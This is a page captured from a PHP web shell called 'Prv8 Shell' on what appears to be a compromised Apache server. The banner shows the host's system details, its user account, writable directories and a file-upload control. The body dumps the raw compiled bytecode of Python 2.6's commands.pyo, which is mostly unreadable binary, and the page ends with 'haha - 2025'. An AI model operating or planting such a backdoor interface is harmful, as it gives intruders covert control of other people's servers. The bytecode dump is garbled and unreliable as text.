Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /usr/lib64/python2.6/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.6/commands.pyo
Ñò
§ÚêLc@sFdZdddgZd„Zd„Zd„Zd„Zd„Zd	S(
s-Execute shell commands via os.popen() and return status, output.

Interface summary:

       import commands

       outtext = commands.getoutput(cmd)
       (exitstatus, outtext) = commands.getstatusoutput(cmd)
       outtext = commands.getstatus(file)  # returns output of "ls -ld file"

A trailing newline is removed from the output string.

Encapsulates the basic operation:

      pipe = os.popen('{ ' + cmd + '; } 2>&1', 'r')
      text = pipe.read()
      sts = pipe.close()

 [Note:  it would be nice to add functions to interpret the exit status.]
tgetstatusoutputt	getoutputt	getstatuscCs3ddk}|idtdƒtdt|ƒƒS(s-Return output of "ls -ld <file>" in a string.iÿÿÿÿNs"commands.getstatus() is deprecatedisls -ld(twarningstwarntDeprecationWarningRtmkarg(tfileR((s /usr/lib64/python2.6/commands.pyR!scCst|ƒdS(s=Return output (stdout or stderr) of executing cmd in a shell.i(R(tcmd((s /usr/lib64/python2.6/commands.pyR,scCs~ddk}|id|ddƒ}|iƒ}|iƒ}|djo
d}n|ddjo|d }n||fS(s4Return (status, output) of executing cmd in a shell.iÿÿÿÿNs{ s; } 2>&1tris
(tostpopentreadtclosetNone(RR
tpipettexttsts((s /usr/lib64/python2.6/commands.pyR4s

cCs?ddkl}|dƒddk}t|ii||ƒƒS(Niÿÿÿÿ(twarnpy3ks In 3.x, mk2arg has been removed.(RRR
Rtpathtjoin(theadtxRR
((s /usr/lib64/python2.6/commands.pytmk2argAs
cCs~ddkl}|dƒd|jo
d|dSd}x3|D]+}|djo|d}n||}qAW|d	}|S(
Niÿÿÿÿ(Rsin 3.x, mkarg has been removed.s's 's "s\$"`s\t"(RR(RRtstc((s /usr/lib64/python2.6/commands.pyROs




N(t__doc__t__all__RRRRR(((s /usr/lib64/python2.6/commands.pyt<module>s			
	

haha - 2025